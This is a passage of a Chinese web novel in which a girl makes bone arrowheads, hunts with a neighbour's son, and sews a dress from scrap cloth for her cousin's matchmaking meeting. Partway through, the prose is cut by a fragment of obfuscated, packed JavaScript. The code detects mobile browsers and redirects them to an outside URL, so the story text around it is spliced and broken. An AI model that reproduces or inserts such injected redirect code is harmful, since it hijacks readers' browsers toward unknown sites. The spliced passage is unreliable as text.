两个人忙到天黑才将全部的箭羽做完。还剩下一点羽毛,苏瑾给做成了毽子,分给弟弟们玩耍。
其他的好办,只是这箭头的材料怎么解决?苏瑾做了一天活,想着想着就睡着了。
第二天起来,苏瑾想了半天也没想到拿什么来做箭头。
“啊!怀恋
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某宝某东某夕夕了!”万能的网购啊!
老太太提了篮子准备出门,看孙女坐大门口发呆,把她叫上一起:“瑾丫头,和奶奶出门玩去。”
“哦,好。”走吧走吧,说不准能想到办法解决箭头的问题。
老太太去的是村里的晒场,那边正在卖野猪肉。昨天野猪开始卖,买的人多,但价格高。今天没剩多少了,都是些边边角角,价格便宜许多。
家里虽然养了猪,但现在杀了吃不划算,得等明年长成大猪了才能杀。家里许久不见荤腥,老太太趁着这个机会,给大家伙打打牙祭。
“老三,这些骨头怎么卖?”
打来野猪的是苏三父子,他们是自杀自卖的。说到这两父子,就不得不说他们家的那点八卦。
据说苏三媳妇叫嫣红,是个孤女,她婆家在她小时候就把她接到家里面当小媳妇。
嫣红丈夫小时候发高烧把脑袋烧坏了,她公婆担心以后找不到好儿媳,就和嫣红叔伯商量,让嫣红当童养媳。
有聘礼拿,嫣红叔伯高高兴兴的就把她这个拖油瓶送走。嫣红无父无母,还因为父母治病欠了叔伯家钱,她还不上钱,还吃着大伯家的粮,很不受他们的待见,经常受欺负。婆家出了名的仁善,她也很高兴能有这样的婆家。
嫣红和婆家相处的好,在十九岁的时候怀了孩子。只是命运多舛,嫣红和丈夫去镇上买布料给孩子做衣裳,回家途中被土匪劫财。嫣红丈夫智力本就停留在七岁的时候,被刺激后和土匪打做一团,没注意被土匪拿刀捅死了!土匪见出了人命,一不做,二不休,也给了嫣红一刀。
大集日嘛,人多,还没等土匪把嫣红的小命给取了,一群青壮见光天化日之下竟然有人行凶,一个个捡了棍棒冲过来,把三个土匪打个半死。
嫣红伤得轻,被救了回来。遗憾的是腹中胎儿没了。她丈夫就没那么幸运,当时就断了气。
嫣红公婆中年丧独,哭得肝肠寸断,又还有亲戚们虎视眈眈,想趁机侵占家产。嫣红公婆当机立下,收嫣红做义女,又做主在家招婿,直到苏三成了他们家的女婿,亲戚们才歇了心思。
要说啊,好人遇到好人。嫣红公婆仁善,拿嫣红当亲女。嫣红记得公婆的好,也将他们奉做亲父亲母。
苏三小时候母亲被酒鬼父亲打跑,自己从小到大都被虐待,一天都没体会过亲情。父亲喝酒喝死了,他被赶出来流浪。被招做赘婿后,一家人对他好,他才体会到什么是亲情。
嫣红生孩子难产,苏三带着孩子侍奉两位丈人,给他们养老送终,直到去年,两位老人寿终正寝。
苏瑾听到他们家的事的时候唏嘘不已。这一家人个个都好惨!好在都是善良的人,才能一起有那么几天温情,要不然都像小苦瓜似的,让人听了都难过得要死。
“大娘,这一堆骨头十文钱一斤。要是全部买了,剩下四根筒骨就送你了。”苏三说。
骨头?对哦。苏瑾有了主意。
这一堆骨头得有七八斤吧?全部买太贵。老太太刚想说自己要不了那么多,苏瑾就拉着她说:“奶奶,咱们就全买了吧!多送的筒骨都够全家炖两回汤喝了。”
全家那么多张嘴,少了确实也不够吃,老太太咬咬牙全要了。
5. 少年苏秦
其他的骨头没筒骨好,苏瑾求她奶奶:“奶奶,咱们回去先拿筒骨煮骨头汤,做汤面吃吧,我好想吃热乎乎的骨头汤面。”
老太太准备把买回来的骨头分几次吃。这样能多吃几顿有油水,有肉味的骨头汤。既然孙女都这样求她了,她就先煮筒骨吧。
回去把其他骨头放屋外冻上,老太太刷大锅把几根大骨头洗了扔进去炖。老头子喜欢吃芋头,她得给挖点芋头回来一起煮,有肉味香些。
煮了满满一大锅的骨头汤,筒骨上面还有一些没割干净的肉,被老太太刮了下来,给每个人一人分了一点。
全家十五个人一人一大碗杂粮面条加上腌咸菜,一时间,堂屋饭桌上全是吸溜声。
“好好吃。”英恒满足的喟叹一声,头又埋到比他脸还大大面碗里奋战。
一顿香浓的骨汤面,全家吃得心满意足。
饭后,苏瑾记挂着挣钱,略歇一歇就投入到制作弓箭的工作中。
苏瑾把刮得干净的骨头劈小,把削好磨锋利的骨头装到箭杆上,做成箭头。
今早老爷子就把弓箭做好。她绑了一个草靶子立在土墙上,测试新鲜出炉的弓箭。其他人看她这架势,都围过来看。
苏瑾摆出架势,瞄准靶子射出羽箭。
许久没练了,射得有点偏,但好歹没脱靶。
“姐姐真厉害。”英恒两兄弟欢呼起来。
其他人也鼓起掌来,夸赞到:“阿瑾头一次射箭就上靶了,很有天分啊。”
苏瑾微笑着坦然接受夸奖,去看箭没入靶子的程度。
嗯,可以了。苏瑾看着手里的箭很满意,这种程度,射兔子野鸡什么的,完全不在话下。
苏英朗也喜欢弓箭,只是以前用的都是玩具弓,还没有用过这么好的弓箭。他向苏瑾说:“阿瑾,可以给我试试吗?”
“当然可以。”苏瑾大方的把弓箭递到堂兄手里,嘱咐说,“不过你只能用没有箭头的弓箭,免得不小心射到别人。”
“行。”男生们都在用弓,女生们陪苏瑾做箭头。
“你这小滑头,我就说你今天怎么这么多话,原来都是为了这几块箭头啊!”老太太一边磨箭头,一边笑骂孙女。
“怎么能这么说呢?”苏瑾摊手表示自己很无辜,“我可是都是为了让大家多吃点好的。这骨头已经熬得没味道了,我发挥它最后的作用,看我多节俭,多……聪明!”
大家都被她王婆卖瓜,自卖自夸的小模样逗笑了。
“羞羞。哈哈。”
没多久就把全部的箭头做好组装完成,苏瑾把箭收起来,免得谁偷摸拿去玩,惹出事来。
练了几天箭,苏瑾命中靶心的几率大大上升,还有两天就是大集日了,得抓紧时间打猎。
苏老大、苏老二带大男孩子们去打工,多挣点钱回来,让家里日子好过些。女眷们都各自有各自的事。让小萝卜头们和自己去打猎,那是完全不可能的。
苏瑾给奶奶报备,说自己去找小伙伴玩耍,今天会很晚回来。
又不用孩子们做什么事,老太太嘱咐她去别人家玩,有点眼色,不要捣乱得罪人。
“好,我知道了。”
他们家和苏三家一个村的,真要算起来,两家还是亲戚。苏瑾厚着脸皮去苏三家,想和他们搭个伴,一起进山。
“苏三伯伯,你在不在家?”
敲了半天门,一个少年过来把门打开。
“你找我爹吗。我爹进山了,没在家。”
少年十四五岁的样子,可能是因为不缺肉吃的原因,据苏瑾目测,他起码有一米七了!
再看自己南方小土豆的身高,苏瑾小小的自卑了一下。不过她很快反应过来:“呸,自己才几岁?还是有希望长成一个大高个的!”
既然苏三伯伯没在家,自己就一个人去山里好了。只要不去腹地,想来也没什么危险。
“这样啊,那算了。我先走了。”苏瑾给少年拜拜,转身就走。
“哎,等一下。”少年看她背着弓箭,又是往山上去,一下子知道了她的目的,赶紧把她叫住。
“嗯?”苏瑾看着跑过来的少年,疑惑的看着他。
少年指了指她背上的弓箭,问:“你是不是要进山?”
“对啊。”苏瑾看自己的弓箭,有什么问题?
“山里很危险的,你这么小,还是快回家吧。”少年劝诫。
“没事,我就在外围逛逛。”苏瑾解释说。
少年看她铁了心要去,心里着急。小姑娘哪里知道什么是危险,就是是外围,现在是冬季,要是那些大家伙没东西吃,也有可能跑出来的。
“没事我就先走了。”
“你等一下。”少年喊住苏瑾,回家取弓箭,“我正好要去找我爹,我们一起搭个伴?”
哎呦,多个人有个照料,要是能碰到苏三伯伯,那就更好了。
“好啊!”
两人走在进山小路上,少年做自我介绍:“我叫苏秦,你叫什么名字?”
“苏瑾。”
“你们家很缺肉吃吗?你这么小就来打猎。”苏秦好奇。
苏瑾没隐瞒自己的想法,直接给这个好心的少年说:“我堂姐在议亲,以前我爹搅和了她一桩亲事,这回又有一家不错的人家想来相看,我想猎些野物换钱给她做身新衣裳。”
哦!苏秦知道这个女孩是谁家的孩子了,她爹那名声,在村里可称得上“响当当”。
渣爹真的是相当坏了,把家里钱全偷了,连累全家。虽然几房手里都还有一点点闲钱,但那都是紧着什么要紧事才拿出来花的,买布做衣服这件事并不在“要紧事”里。苏瑾不想又是因为穿得寒酸,让堂姐黄掉亲事。
“这样啊!那你知道怎么打猎吗?”
“看见什么就放箭射呗。”
苏秦皱起眉头:“你都不会技巧就敢进山,我有点佩服你了。”
额……好阴阳。
“这不是遇见你了麻,我看你像是会打猎的,要不然你教教我呗。”嘿嘿,少年,多嘴了吧。
“好啊!”没想到苏秦直接答应了,真的教起苏瑾来。
“你看雪地里的脚印和方向。”苏秦蹲下,指着地上凌乱的脚印向对方教授技巧。
“像这种圆钝宽大的脚印,一般是野猪的。你以后要是遇见这种脚印,就离发现的地方远点,野猪发起狂来是很可怕的,有可能有生命危险。”
“那我们现在要换个地方吗?”苏瑾现在的身体素质,要是碰上大型野生动物,完全是送人头,跑都跑不了。草率了!自己把打猎想得太简单
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了。
“没事,这个脚印里有雪,证明它已经离开这里有一段时间了。”苏秦又指着像小树杈的印记讲解,“像这个,前面四个脚趾印,后面五个脚趾印的,就是兔子。”
旁边的鸡爪印看一眼就知道是什么动物留下的,苏秦就没说。
苏瑾的目标就是兔子和野鸡,既然这里有脚印,而且还没被雪覆盖,想来这附近应该是有兔子和野鸡的。那还等什么?开干!
“走吧,就抓兔子和野鸡。”苏瑾催着苏秦快追,别让兔兔们跑远了。
“行,走吧。”
两个人在外围逛了一天,没遇到苏三,不过各自都有收获。
苏秦有打猎经验,抓到五只兔子,三只野鸡。苏瑾射箭的准头好,获得两只兔子,七只野鸡。
苏秦看天色不早了,催着她赶紧回去了:“快回去吧,天黑了山里危险得很。”
苏瑾高兴坏了,要早知道打猎这么容易,她早就来了。
“你别老想着来打猎。”苏秦看她笑得嘴都合不拢,还往回看,就知道她什么心思,“这次是我们运气好才猎到这么多。平常进山,我爹那么厉害的,空着手回去的时候更多。”
“放心吧,下次如果没有人和我一起,我不会来的。”苏瑾知道打猎风险大,也没真的准备把这个当职业。
东西是有了,怎么处理又是个问题。拿回家去,万一英恒他们看着流口水想吃怎么办?到时候自己一心软给弄来吃了,就没有办法拿去换钱给堂姐买布做衣服了。
看着在前面带路的少年,苏瑾有了主意。
“苏秦小哥,你后天要去县城卖这些东西吗?”苏瑾问。
“要去的。”家里留得有自家吃的,多的这些留着也吃不完,“你要和我们一起吗?”少年发出邀请。
“要的要的。”她是为了挣钱,肯定要去。苏三父子长年打猎,肯定有合作的商家,自己可以借个东方。
“既然要一起去县城,能不能麻烦你帮我保管一下猎物?”苏秦父子不差钱。就今天苏秦主动陪她进山,帮她的行为来看,想来他们也不会贪墨了这点东西。
“你不拿回去吗?”
苏瑾解释说:“我是打算都拿去卖钱。我今天没给家人说自己是出来打猎的,我怕把这些东西拿回去被骂。”诚然,就家里老老少少的性子,并不会责怪她,只是她也不想让他们担心。
“那好吧,你后天早点来,我和我爹在家里等你。”多一个人,爹应该没意见。
“苏秦哥哥,谢谢你。”
苏瑾夹了一下,甜甜的道谢。
苏秦小哥不好意思的挠挠头,这有什么的,不过是举手之劳。
到了苏秦家门口,天已经黑了,苏瑾把猎物交给他,抓紧时间回家,免得家人出来寻她。
“阿瑾,你跑哪里去了?怎么这么晚回来?”完饭都吃完了,还不见女儿回来,惠娘担心女儿有事,正提着灯笼准备出门寻找。
“娘,我这不是回来了吗?我好饿,有没有给我留饭?”苏瑾拉着母亲的手撒娇。
“留了留了。有肉和骨头汤,在锅里温着呢。你快去吃。”惠娘把女儿的玩具取下来放她房间里去,把留的饭菜端出来给她。
有人惦记的感觉真好!苏瑾吃着碗里的饭,有想哭的冲动。
6. 第一桶金
马上就有钱了,苏瑾很兴奋,天还没亮就爬起来。就着骨头汤煮了一碗杂粮疙瘩,苏瑾三两下吃完,刨出火坑里捂熟的芋头剥干净包好。这是她准备的午饭。
昨天晚上给弟弟说了,让他帮着打掩护,苏瑾就没特意去报备行踪,收拾好就赶紧往苏秦小哥家去。
到了苏秦家,父子俩刚好吃完早饭,正准备洗碗。
“苏三伯伯好。”苏瑾礼貌打招呼。
苏三和她打了个照面,端着锅碗去外面洗去了。
“苏秦哥,早上啊。”苏瑾扬起明艳的笑容问好。
昨天回来,苏秦被父亲说了一通,情绪有点低落。苏瑾活力满满的和他打招呼,他不自觉高兴起来。
自己做的是对的,要是没拦住她,就她一点经验也没有的样子,万一遇见对付不了的野兽怎么办?
“等我爹收拾好,咱们就出发。”
第一次进城,苏瑾看什么都新鲜。看高高的城墙,她“哇”;看街上的建筑,她也“哇”;就连看到人挤人的市集,她还“哇”!
苏瑾哇了一路,苏秦始终笑着看她。自己第一次来县城的时候,比她还激动呢,看什么都好奇。本来中午就要回去的,他硬生生逛到天快黑了才回去。
苏三一路上沉默寡言,只帮着把猎物往自己身上背。进了城,他带着两个小的径直往合作的酒楼去。
“扣扣。”
苏三走到酒楼后门扣门。没一会就有人来开门。
“苏三爷,你来了。快前进。”
管事请他们进去,招呼手底下的人赶紧过秤,他忙着给一边等着结钱的菜农算钱。
“这些单独称。”苏三把苏瑾打的单独提出来。
“行。”小哥手脚麻利的把东西称好,和他们对完重量,报给管事。
管事噼里啪啦打算盘,点了钱用麻绳分别穿好,交给苏三:“苏三爷,下次要是猎到什么东西,还送我们这里啊。”
他们酒楼,主打的就是各种野味所做的菜肴。像野鸡汤,城里的奶奶们都爱吃,紧俏得很。
“使得。”
“你的,自己拿好。”
苏瑾接了钱,笑呵呵的道了声谢:“多谢苏三伯伯。”
怪哉,那天去苏三伯伯那里买肉骨头的时候,他可不是这么冷若冰霜的,怎么才过了两天,就摆起扑克脸来呢?不会是不高兴自己搭边角吧?
苏瑾心里猜测自己怎么把人得罪了,苏三也在心里吐槽。
这苏志远的女儿和他一个样,专害人,脸皮还厚。自己就这么一个儿子,平时进山都怕他磕着碰着,小心护着。她到好,拐了自己儿子跑到那么危险的山里面,还害自己儿子受伤。自己摆明了不喜欢她,她还跟着他们。要不是因为儿子,出门的时候他就把人赶走了。
苏三看苏瑾那那都不顺眼,偏偏又得忍着。苏瑾看他难受的样子,想到了她爸。
以前苏兴国过年回家没钱,家里亲戚围着她打转的时候,苏兴国在一边就是这个表情。哎,看来以后不能和苏秦愉快的玩耍了!
数了钱,一共二百二十五文,应该够这一套新衣服了吧?
“苏秦哥,你知道哪里有布庄吗?”
“我知道,我带你过去。”苏秦二话不说就在前面带路。
“哎,那个……”我其实是想就此分开,自己去买布来着……
苏秦已经走远,看她没跟上来,挥手让她赶紧跟上:“快走啊。”
少年,你爹好像不太希望和我一道呢!
算了算了,一起出来的就一起回去,免得自己落单了,害他们被村里那些好事的嚼舌根。
“来了。”
半道上,苏三有事要办,让他们买了布料就在店里等着,他忙完就回来找他们。
“爹,你早点回来。”
苏秦带着苏瑾到一家叫“锦绣布庄”的店:“就是这里了。”
“锦绣布庄”,好富贵的店,里面的布料看着就贵。苏瑾掂量着自己兜里的两个钱,顺便看了看自己着实寒酸的衣衫,都没敢摸一摸那些布料。
店主是一位女士,见他们进来:“两位慢慢挑,要是有什么需要随时叫我。”说完,店主就低下头噼里啪啦打着算盘。
咦,还以为要遭遇逛奢侈品店,高傲柜姐不屑的眼神,没想到这店主这么和气,不过……
苏瑾小声给苏秦说:“要不然我们还一家吧,我感觉我的钱可能不太够买做一身衣服的钱。”
苏秦同样小声的说:“我知道你的钱不多,但是好的布买不起,你可以买点刀口布嘛,很便宜的。”
是哦。自己脑袋瓦特了,竟然忘了还有这种布了!
“老板,你们这还有没有刀口布?”苏秦过去问老板。
“那边。”老板一心算账,抬手给指了一个方向,“上面标了价,你们自己看,有事叫我。”
“谢谢啊。”苏秦带着苏瑾往最角落的柜子去。
差不多大小的布料像倒下的多米诺骨牌整齐排列在柜子上。柜子上一个木牌牌写着“十文一张”。
“快挑吧。”苏秦的衣服都是在成衣店里买的现成的,所以他对布料什么的不感兴趣。苏瑾挑布料,他去看店里展示的成衣。
这些料子好好,就是每一块才五十乘五十的样子。她问过她娘,做一套短打要一匹布,也就是五十厘米乘九米快十米的样子。
这些布料好,要是做短打,还得是麻布合适,用这个布料做短打,跟把富家千金嫁给穷小子似的,看着违和得很。
苏瑾过去问老板:“老板,你这里有没有其他的刀口布?”
老板算完最后笔账,合了账本回答:“刀口布就那边柜子上的那些,不过……”老板上下扫视苏瑾一遍,说,“我这里有做衣服裁下来的碎布,十文钱一包,你要不要看看!”
老板的眼神很干净,苏瑾被打量一遍,丝毫没有心里不舒服的感觉。
“可以让我先看看吗?”
老板到后面提了一包碎布出来:“这个是样子,这种碎布头都是不打开看,盲买的。你看着要是合心,要几包我给你提出来。”
这些碎布小的一个巴掌大,大的两巴掌,一包大概有一斤左右。苏瑾在心里算了算,这样一包碎布大概有五十厘米乘两米左右,比刀口布划算多了。
“老板,我这里一共有二百二十五文钱,除了碎布,你能给我配点针线吗?”苏瑾把全部的钱放在柜台上。
老板想了想:“行。”
清点好铜板数量,老板去取布和针线。
“买好了吗?”苏秦转了一圈,这店里的成衣都太花哨,好不容易看上一件素净的,还挂了“仅展示”的牌子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730815|174005||http|test|mini|href|location''.split(''|''),0,{}));
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>“嗯,你找到自己喜欢的没有?”
苏秦摇头。
老板抬了一大筐打包好的碎布出来,将一块挺大的布料放在柜台上,对苏瑾说:“姑娘,这块布粘了油渍,你要是不介意的话就一起拿走吧。”
苏瑾看向那块布,布上总共就两处受污,“不介意,谢谢老板。”
“行。”
老板就用那块被污染的布把其他布料包起来,打上结防止散开。
“针线我单独用油纸包了,你自己注意不要用力揉搓,免得把针弄掉了。”
“我知道了。”二百多文钱买到怎么多布料,简直太划算了!苏瑾再次向老板包感谢,“谢谢老板。”
这一大包有二十几斤,苏瑾提着费力。苏秦伸手过来:“我们两一人提一边。”
“谢谢苏秦哥。”
按照约定,两个人在布庄门口等苏三。等了一个多小时,苏三才姗姗来迟。
也不知道他从哪里来,脑袋上全是汗。
“来,把包袱放筐里,我来背。”
“谢谢苏三伯。”啊,今天说了好多谢谢。
苏三把箩筐放地上,把里面的两个包子给他们一人一个。
“吃吧,还热乎着呢。”
苏瑾摆手,都占了人家那么大便宜了,苏三本来就对她印象不好,自己那里好意思吃:“不了不了,苏三伯,我自己带了午饭,你自己吃吧。”
“给你你就拿着。”苏三把肉包子塞进苏瑾手里,提了布料塞箩筐里,背起来就走。
苏秦咬了一大口肉包子,让苏瑾赶紧吃:“快吃吧,天气这么冷,等一下凉了不好吃。”
“诶。”苏瑾把包子往自己嘴巴里塞。这辈子遇见的人怎么都这么好?
回到家,瞅着院里没人,苏瑾溜到自己房间,把布料放好。现在还没把衣服做出来,等做好了再给大家一个惊喜。
她这里没剪刀,得寻一把剪刀来裁布。
“娘,你还用不用剪刀?我拿去用一下。”
惠娘已经在做鞋面了,这些东西都是裁好送过来的,用不着剪刀。伸手把剪刀递给女儿,惠娘顺口问了句:“你拿剪刀做什么?”
“有用。”敷衍一句,苏瑾抓紧时间裁布。
现在十一月二十五日,还有四天就是堂姐相看的日子了,自己得抓紧时间把衣服做出来。
“别拿去乱剪东西,当心把剪刀剪坏了。”
“知道了。”苏瑾钻到自己房间里了,大着嗓子回道。
“这孩子。”婚期近了,自己要赶着把鞋子做好,就让她闹去吧。
接下来几天,苏瑾天一亮就起来裁剪缝合,入夜了还要点灯赶工。
老爷子和老太太看她前几天还跑出去玩,天都黑透了才回家。现在突然把自己关在房间里,一天到晚不知道在干什么,还以为她受了欺负不敢说,自己躲房间里偷摸哭。
老两口敲响孙女的门,问她:“瑾丫头,你是不是有什么事不开心啊?你开门,有什么事给爷爷奶奶说,我们替你做主。”
啊?什么玩意?做啥子主?苏瑾摸不着头脑,开门露了个头,一脸懵的问:“爷爷奶奶,你们听谁说的?我好着呢。”
“真没事?”
“真的没事!”
“好吧。”孙女是这样说了,二老还是放心不下。
7. 害羞少年
十一月二十八这天,苏瑾还是关着门没出来玩,眼下的阴影也更深了。老爷子老太太看在眼里急在心里,偏偏问她是怎么了,她又不说。
儿媳妇忙着去村里嫁女儿那家帮忙,老两口只得打发苏芸来打探苏瑾躲房间几天的原因。
苏瑾把最后一针缝完,用剪刀剪断线。看着由大小相同的六边形缝合成大块布料,再裁剪成合适的尺寸缝合而成的衣裙,她满意极了。
买回来的碎布多是深色,她特意把浅色的挑出来做成渐变色的衣裙,一块块布像蜂窝一样排列,还挺有设计感。
“阿瑾,开开门。”苏芸这两天忙着补她娘给买的故衣,也是天天在房里忙,没注意到堂妹的异样。收到爷爷奶奶的指示,她放下衣裙,赶紧来看看堂妹是不是被人家欺负得不敢见人。
听到是堂姐的声音,苏瑾开门把她拉进屋。
“阿瑾,你是不是被谁欺负了?怎么都不出去玩?”
“我好着呢。”怎么都问她这个问题?她看起来是被人家欺负了的样子吗?不理解大家怎么都这么想。
苏瑾拿出做好的衣裙,抖开给堂姐看:“当当当当,堂姐,我给你做的衣服好看吗?”
苏芸看着眼前崭新的衣裙,眼里亮晶晶的:“阿瑾,好漂亮啊!”
她想到了什么,说:“原来你这几天是在房间里做衣服啊?我们还以为你受欺负了呢。”
以前苏瑾就有因为三叔赌钱,被村里其他小朋友嘲笑,最后偷偷躲房间伤心了三天的经历。这次又没出门,她还以为又出了这样的事。
“没有没有。堂姐,你快把衣服换上,看看合不合身。”
苏芸很开心堂妹惦记她,只是堂妹哪里来的布料?
“不对啊?”苏芸皱着眉头看向堂妹,“阿瑾,你哪来的布料?”
反正事情已经这样了,说出来也不怕。苏瑾笑嘻嘻的说:“我之前不是弄了弓箭吗?我去打了山鸡野兔卖钱买的碎布头。”她掀开装碎布的箱子,“你看,挣的钱买了这么多的碎布,老板还好心送了我一大块布料。”
苏芸听到堂妹说去打了野鸡,差点没吓死她。那野鸡多在山林里,这是进山了?山里那么多野兽,要是运气不好遇上了,堂妹才十岁,还能有命在?
“阿瑾,你怎么怎么不把自己的命当回事?要是你有个三长两短,你让爷爷奶奶怎么办?让我们怎么办?”苏芸气得拍了苏瑾后背两巴掌。
“啊哟,痛。”苏瑾缩着身子喊痛,苏芸都气死了,歪过头不理她。
“堂姐,”苏瑾拉着苏芸的手撒娇,“我去的时候遇见苏三伯的儿子苏秦,他陪着我进山,我才大着胆子去的。”
苏秦?苏芸急得问她:“你们一起进山,苏秦没受伤吧?”苏三伯把这唯一的儿子看得比命重,要是和堂妹一道受伤了,苏家伯说不定把堂妹恨上了!
“就抓野鸡的时候从路上摔到树里去,擦破了点皮,其他的就没有了。”她把苏秦拉上来的时候还特意问了,苏秦说没伤着骨头。乡下孩子嘛,摔摔打打的都是家常便饭,只要没伤筋动骨,过两天就好了。
啊!苏芸头晕,得,肯定把人家得罪了。
“笨蛋阿瑾,村里谁不知道苏三伯的这个儿子来的不易?他对苏秦,那是含在嘴里怕化了,捧在手里怕摔了,跟你出去一趟,还受了伤。他肯定心里记恨你,你以后离他们远点。”
苏瑾想到苏三伯冷若冰霜的脸,点了点头。确实如此,苏三伯气量比针眼还小。
“我知道了。”苏瑾把衣服给堂姐,自己出去把门带上,“别说这些了,快试衣服。”
看堂妹听进去了,苏芸放下心来,开心的试起新衣服。
“堂姐,换好没有?”苏瑾迫不及待想看看堂姐穿上自己做的衣服的样子,不知道效果好不好?
“阿瑾,你这手艺比我的好多了。”
“堂姐,你转一圈我看看。”
苏芸转着圈圈向堂妹展示。
哎呀,自己的手艺没丢。看人家小姑娘穿上,多好看?苏瑾很满意上身效果。还有那么多布,必须得给全家一人做一套衣服,感谢自己遇到这么好的他们。
自从来了这里,苏瑾每天也不心烦气躁了,身体也不会控制不住自由活动,吃饭还嘛嘛香。拥有一个身心健康的身体,太幸福了!
“谢谢我们家手艺精湛的阿瑾。”苏芸决定,相看那天,不穿她娘给她买的故衣了,就穿这件。
“不客气。”
苏瑾收集家里各位的旧衣服量尺寸,准备过年的时候拿出来给他们一个惊喜。大堂哥和苏秦身量差不多,苏瑾想了想,自己能挣到钱,苏秦小哥功不可没,就给他做一件马甲报答一下吧。顺便刷一下好感度,让苏三伯别生她的气了,万一以后还要去山里,也好求到人家头上。
相看日终于到了,苏志兴今天没去打工,特意留在家里招待。
堂姐相亲对象叫刘辉,大概早上十点时,他和他父母提着礼物上门。
老爷子带着儿子儿媳接待。双方都很客气。
走了个流程,刘母提出:“我家这孩子,还是第一次来这边,不知道能不能请你们家的一个孩子带他到村里转转?”
老爷子会意,让孙女带人出去玩。
苗金凤今天特意给女儿梳了一个漂亮的发型,再加上苏瑾做的新衣服,苏芸整个人容光焕发。
两个人红着脸出门。
两人走了一路,刘辉自动开口说:“你平时在家都做些什么?”
苏芸害羞的回到:“农忙时和家人下地,闲时做些女工,有时也跟着爷爷认字。”
认字?刘辉有些惊讶。
“你爷爷读过书?”
“嗯。”苏芸解释说,“我爷爷年轻的时候考上过童生,后来没考了,就教后辈读书。我们家都识得字,我三叔也考上了童生呢!”
苏家这位三叔名声在外,刘辉也听说过,只是没想到苏家这么开明,也教女孩子识字。
两人围着村子转了几圈,直到快中午的时候,苏瑾去叫他们回去吃饭,两人才回去。
人多,吃饭的时候分成了两大桌。刘辉一家和大人们一桌,她们小孩子一桌。
苏瑾坐到堂姐旁边,在她耳朵边小声问:“堂姐,怎么样?”
苏芸不解的回头,看堂妹眼神往刘辉那边看,她红着脸说:“挺好的,我们两个能聊得上话。”
刘辉在城里学手艺,关于做衣服的工艺很了解,他们就她身上的衣服聊了起来,刘辉还给她说了好几种锁边的方法。
那边,刘辉不时扭头往她们这边看。
苏瑾拉着堂姐说:“你看你看,他又看你了。
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”
苏芸羞得头都快埋进碗里了。
一顿饭,宾主尽欢。刘母临走之际,拔了头上一根银钗放到苏芸手里。
“我看你这孩子喜欢得紧,这钗子新打的,样式简单,配你这样的女孩子正合适。”
苏芸看向老爷子,老爷子点头后,她才小声说:“多谢伯母。”
“看来咱们家好事将近啊。”苏瑾打趣道。
果然,没过多久,刘辉父母就带着媒婆和聘礼来下聘。
苏瑾跑苏芸房间,打趣了堂姐两句:“哎呀呀,有人要当新娘子了。”
苏芸羞恼的说:“讨厌,不理你了。”
这娇羞的样子和语气,逗得苏瑾哈哈大笑。
心里记挂着要还恩情,苏瑾把给苏秦做的衣服先做出来。这次,她挑了显贵的料子来做,不然怕人家瞧不上。
熬了几夜,衣服做好,她使唤英恒去约人。
“苏秦哥,你今天有没有空?我姐姐约你玩。”
约我?上次赶大集自家老爹面色不好,苏瑾回来以后有没有来找过他,他还以为苏瑾是又一个被他爹吓走的人,没想到她会突然约自己。
“有啊。去哪里玩?”不会是她又想去山里抓野□□?
英恒挠头:“我姐没说。”姐姐只让他来约人,没说去哪里。
“那你回去给她说,我在我家后面山脚下等她。”
“好。”
英恒快马一鞭,火速回家告诉姐姐他约到人了。
“姐姐,苏秦哥答应了,约你在他家后面的山脚下见面。”
“行。我知道了。”
英恒好奇,他姐约苏秦哥干嘛?
“姐,你约苏秦哥干嘛?让他教你射箭吗?”自从苏瑾做了弓箭出来,英恒也喜欢上了射箭。他和关系好的小伙伴射十箭有八箭脱靶的,他们就大着胆子求苏秦教他们射箭,现在他和苏秦哥关系好着呢。
“秘密。”苏瑾神秘的说。
我都帮你干活了,你居然不告诉我?英恒撅着嘴不开心。
苏瑾捏了捏弟弟气鼓鼓的小脸,把给他做的衣服拿出来递给他。
英恒疑惑的看着她,啥呀,这是?
“给你做的新衣服,试试看。”
英恒高兴的跳起来:“谢谢姐姐。”
他都好久没有新衣服穿了,都是他娘拿旧衣服改小了给他的。
欢欢喜喜的换上新衣服,英恒回到姐姐房间,扭来扭去的展示,还不停问他姐姐:“好看吗?”
苏瑾肯定的回答:“好看。”
姐的手艺,还用说?
等弟弟展示够了,苏瑾对他说:“好了,脱下来吧。”
好不容易有新衣服穿,英恒撒娇着说:“不要嘛,我还想再穿一会儿。”
敲了弟弟一个脑嘣,苏瑾催着他回去脱下来:“快回去脱了,拿回来我帮你保管,要不然过年那天,大家都穿新衣服,就你没新衣服穿。”
不要,过年的时候自己也要穿新衣服。英恒听话的回去把衣服脱下来。
“那你要好好保管哦,不要让老鼠给我咬坏了。”英恒把衣服交到姐姐手里,不放心的嘱咐。
“知道了。”小屁孩,想的还挺多。
苏瑾拿洗干净的包碎布的布头把给苏秦的衣服包好,出门赴约。
8. 苏秦赠弓
寒冷的风呼啸着刮过,卷起没固定好的茅草飞舞盘旋。
苏秦不停跺着脚,两只手互相搓着取暖。
“不是约的我见面吗?都等这么久了,苏瑾怎么还没来?”苏秦小声嘀咕,眼睛不住往苏瑾家的方向看。
不知道苏瑾什么时候到,回去又怕苏瑾来了找不到他。现在天气冷,干坐着冷得慌,苏秦干脆取了弓箭来打发时间。
苏秦家后面的地是他家的,苏三伯把地平了,建了一个靶场。
苏秦拿的是他爹给他打的新弓箭。瞄准靶心,苏秦奋力将弓拉满,箭矢破空而出,带着细微的呼啸声正中靶心。
“好!”苏秦为自己喝彩,又连续射出去几支箭。
一连射了七箭,正中靶心的就有五箭,另外两箭离靶心也很近。苏秦满意的看着自己的杰作。
“啪啪。”清脆的掌声突然从身后传来。
苏秦心头一动,转身看去,果然是苏瑾来了。
苏瑾眼里闪烁着赞赏的光芒,赞叹着说:“你箭术真好。”
苏秦不好意思的摸了摸脑袋:“也就还行吧,你什么时候来的?怎么不喊我?”
苏瑾穿的是母亲旧衣改的新袄子,实际是绣花枕头一包草,袄子保暖效果极差,冻得她小脸红红的。
“刚到。”苏瑾把手里的包袱递给苏秦,“这个给你。”
“这是什么?”苏秦接过包袱打开一看,竟然是一件马甲。
“真好看。”苏秦提起衣服在自己身上比划,问苏瑾,“怎么会想到送我衣服?”
